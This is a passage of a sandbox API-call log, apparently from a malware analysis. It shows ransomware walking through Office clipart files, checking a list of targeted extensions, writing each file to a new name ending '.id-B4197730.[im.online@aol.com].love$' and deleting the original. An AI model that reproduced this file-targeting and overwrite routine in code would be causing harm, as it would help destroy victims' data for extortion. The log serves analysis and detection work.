(lpString=".bz2") returned 4 [0121.752] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0121.752] lstrlenW (lpString=".7z") returned 3 [0121.752] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0121.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0121.752] lstrlenW (lpString=".dbf") returned 4 [0121.752] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0121.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0121.752] lstrlenW (lpString=".1cd") returned 4 [0121.753] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0121.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0121.753] lstrlenW (lpString=".jpg") returned 4 [0121.753] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0121.753] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0121.753] lstrlenW (lpString="AN04225_.WMF") returned 12 [0121.753] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0121.753] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=8492) returned 1 [0121.754] CloseHandle (hObject=0x374) returned 1 [0121.754] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf")) returned 0x220 [0121.754] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0121.754] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0121.754] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0121.754] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0121.754] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0121.755] GetLastError () returned 0x0 [0121.755] ReadFile (in: hFile=0x374, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x212c, lpOverlapped=0x0) returned 1 [0121.757] WriteFile (in: hFile=0x394, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0x2130, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0x2130, lpOverlapped=0x0) returned 1 [0121.758] ReadFile (in: hFile=0x374, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0121.759] WriteFile (in: hFile=0x394, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0121.759] SetEndOfFile (hFile=0x394) returned 1 [0121.759] CloseHandle (hObject=0x394) returned 1 [0121.760] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0121.760] SetEndOfFile (hFile=0x374) returned 1 [0121.761] CloseHandle (hObject=0x374) returned 1 [0121.761] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0121.762] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf")) returned 1 [0121.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0121.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0121.762] lstrlenW (lpString=".doc") returned 4 [0121.762] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0121.762] lstrlenW (lpString=".docx") returned 5 [0121.762] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0121.762] lstrlenW (lpString=".pdf") returned 4 [0121.762] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0121.762] lstrlenW (lpString=".xls") returned 4 [0121.762] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0121.762] lstrlenW (lpString=".xlsx") returned 5 [0121.762] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0121.763] lstrlenW (lpString=".ppt") returned 4 [0121.763] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0121.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0121.763] lstrlenW (lpString=".zip") returned 4 [0121.763] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0121.763] lstrlenW (lpString=".rar") returned 4 [0121.763] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0121.763] lstrlenW (lpString=".bz2") returned 4 [0121.763] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0121.763] lstrlenW (lpString=".7z") returned 3 [0121.763] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0121.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0121.763] lstrlenW (lpString=".dbf") returned 4 [0121.763] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0121.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0121.763] lstrlenW (lpString=".1cd") returned 4 [0121.763] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0121.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0121.763] lstrlenW (lpString=".jpg") returned 4 [0121.763] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0121.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0121.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0121.763] lstrlenW (lpString=".doc") returned 4 [0121.763] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0121.763] lstrlenW (lpString=".docx") returned 5 [0121.763] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0121.763] lstrlenW (lpString=".pdf") returned 4 [0121.763] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0121.763] lstrlenW (lpString=".xls") returned 4 [0121.764] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0121.764] lstrlenW (lpString=".xlsx") returned 5 [0121.764] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0121.764] lstrlenW (lpString=".ppt") returned 4 [0121.764] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0121.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0121.764] lstrlenW (lpString=".zip") returned 4 [0121.764] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0121.764] lstrlenW (lpString=".rar") returned 4 [0121.764] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0121.764] lstrlenW (lpString=".bz2") returned 4 [0121.764] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0121.764] lstrlenW (lpString=".7z") returned 3 [0121.764] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0121.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0121.764] lstrlenW (lpString=".dbf") returned 4 [0121.764] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0121.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0121.764] lstrlenW (lpString=".1cd") returned 4 [0121.764] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0121.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0121.764] lstrlenW (lpString=".jpg") returned 4 [0121.764] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0121.764] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0121.765] lstrlenW (lpString="AN04235_.WMF") returned 12 [0121.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04235_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0121.766] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=7804) returned 1 [0121.766] CloseHandle (hObject=0x374) returned 1 [0121.766] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04235_.wmf")) returned 0x220 [0121.766] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04235_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0121.766] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04235_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0121.766] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0121.766] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0121.766] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04235_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0121.767] GetLastError () returned 0x0 [0121.767] ReadFile (in: hFile=0x374, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x1e7c, lpOverlapped=0x0) returned 1 [0121.769] WriteFile (in: hFile=0x394, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0x1e80, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0x1e80, lpOverlapped=0x0) returned 1 [0121.770] ReadFile (in: hFile=0x374, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0121.771] WriteFile (in: hFile=0x394, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0121.771] SetEndOfFile (hFile=0x394) returned 1 [0121.771] CloseHandle (hObject=0x394) returned 1 [0121.772] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0121.772] SetEndOfFile (hFile=0x374) returned 1 [0121.773] CloseHandle (hObject=0x374) returned 1 [0121.774] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0121.774] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04235_.wmf")) returned 1 [0121.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0121.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0121.774] lstrlenW (lpString=".doc") returned 4 [0121.774] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0121.774] lstrlenW (lpString=".docx") returned 5 [0121.774] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0121.774] lstrlenW (lpString=".pdf") returned 4 [0121.775] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0121.775] lstrlenW (lpString=".xls") returned 4 [0121.775] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0121.775] lstrlenW (lpString=".xlsx") returned 5 [0121.775] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0121.775] lstrlenW (lpString=".ppt") returned 4 [0121.775] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0121.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0121.775] lstrlenW (lpString=".zip") returned 4 [0121.775] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0121.775] lstrlenW (lpString=".rar") returned 4 [0121.775] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0121.775] lstrlenW (lpString=".bz2") returned 4 [0121.775] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0121.775] lstrlenW (lpString=".7z") returned 3 [0121.775] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0121.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0121.775] lstrlenW (lpString=".dbf") returned 4 [0121.775] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0121.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0121.775] lstrlenW (lpString=".1cd") returned 4 [0121.775] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0121.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0121.775] lstrlenW (lpString=".jpg") returned 4 [0121.775] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0121.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0121.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0121.776] lstrlenW (lpString=".doc") returned 4 [0121.776] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0121.776] lstrlenW (lpString=".docx") returned 5 [0121.776] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0121.776] lstrlenW (lpString=".pdf") returned 4 [0121.776] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0121.776] lstrlenW (lpString=".xls") returned 4 [0121.776] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0121.776] lstrlenW (lpString=".xlsx") returned 5 [0121.776] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0121.776] lstrlenW (lpString=".ppt") returned 4 [0121.776] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0121.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0121.776] lstrlenW (lpString=".zip") returned 4 [0121.776] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0121.776] lstrlenW (lpString=".rar") returned 4 [0121.776] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0121.776] lstrlenW (lpString=".bz2") returned 4 [0121.776] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0121.776] lstrlenW (lpString=".7z") returned 3 [0121.776] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0121.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0121.776] lstrlenW (lpString=".dbf") returned 4 [0121.776] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0121.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0121.776] lstrlenW (lpString=".1cd") returned 4 [0121.777] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0121.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0121.777] lstrlenW (lpString=".jpg") returned 4 [0121.777] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0121.777] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0121.777] lstrlenW (lpString="AN04267_.WMF") returned 12 [0121.777] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0121.777] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=7804) returned 1 [0121.777] CloseHandle (hObject=0x374) returned 1 [0121.778] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf")) returned 0x220 [0121.778] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0121.778] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0121.778] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0121.778] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0121.778] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0121.778] GetLastError () returned 0x0 [0121.778] ReadFile (in: hFile=0x374, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x1e7c, lpOverlapped=0x0) returned 1 [0122.000] WriteFile (in: hFile=0x394, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0x1e80, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0x1e80, lpOverlapped=0x0) returned 1 [0122.001] ReadFile (in: hFile=0x374, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0122.001] WriteFile (in: hFile=0x394, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0122.001] SetEndOfFile (hFile=0x394) returned 1 [0122.012] CloseHandle (hObject=0x394) returned 1 [0122.037] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0122.037] SetEndOfFile (hFile=0x374) returned 1 [0122.038] CloseHandle (hObject=0x374) returned 1 [0122.038] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0122.039] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf")) returned 1 [0122.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0122.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0122.039] lstrlenW (lpString=".doc") returned 4 [0122.039] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0122.039] lstrlenW (lpString=".docx") returned 5 [0122.039] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0122.039] lstrlenW (lpString=".pdf") returned 4 [0122.039] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0122.039] lstrlenW (lpString=".xls") returned 4 [0122.039] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0122.039] lstrlenW (lpString=".xlsx") returned 5 [0122.040] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0122.040] lstrlenW (lpString=".ppt") returned 4 [0122.040] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0122.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0122.040] lstrlenW (lpString=".zip") returned 4 [0122.040] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0122.040] lstrlenW (lpString=".rar") returned 4 [0122.040] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0122.040] lstrlenW (lpString=".bz2") returned 4 [0122.040] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0122.040] lstrlenW (lpString=".7z") returned 3 [0122.040] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0122.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0122.040] lstrlenW (lpString=".dbf") returned 4 [0122.040] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0122.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0122.040] lstrlenW (lpString=".1cd") returned 4 [0122.040] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0122.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0122.040] lstrlenW (lpString=".jpg") returned 4 [0122.040] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0122.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0122.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0122.040] lstrlenW (lpString=".doc") returned 4 [0122.040] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0122.040] lstrlenW (lpString=".docx") returned 5 [0122.041] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0122.041] lstrlenW (lpString=".pdf") returned 4 [0122.041] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0122.041] lstrlenW (lpString=".xls") returned 4 [0122.041] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0122.041] lstrlenW (lpString=".xlsx") returned 5 [0122.041] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0122.041] lstrlenW (lpString=".ppt") returned 4 [0122.041] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0122.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0122.041] lstrlenW (lpString=".zip") returned 4 [0122.041] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0122.041] lstrlenW (lpString=".rar") returned 4 [0122.041] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0122.041] lstrlenW (lpString=".bz2") returned 4 [0122.041] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0122.041] lstrlenW (lpString=".7z") returned 3 [0122.041] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0122.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0122.041] lstrlenW (lpString=".dbf") returned 4 [0122.041] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0122.041] lstrlenW (lpString="C:\\Program Files\\Microsoft 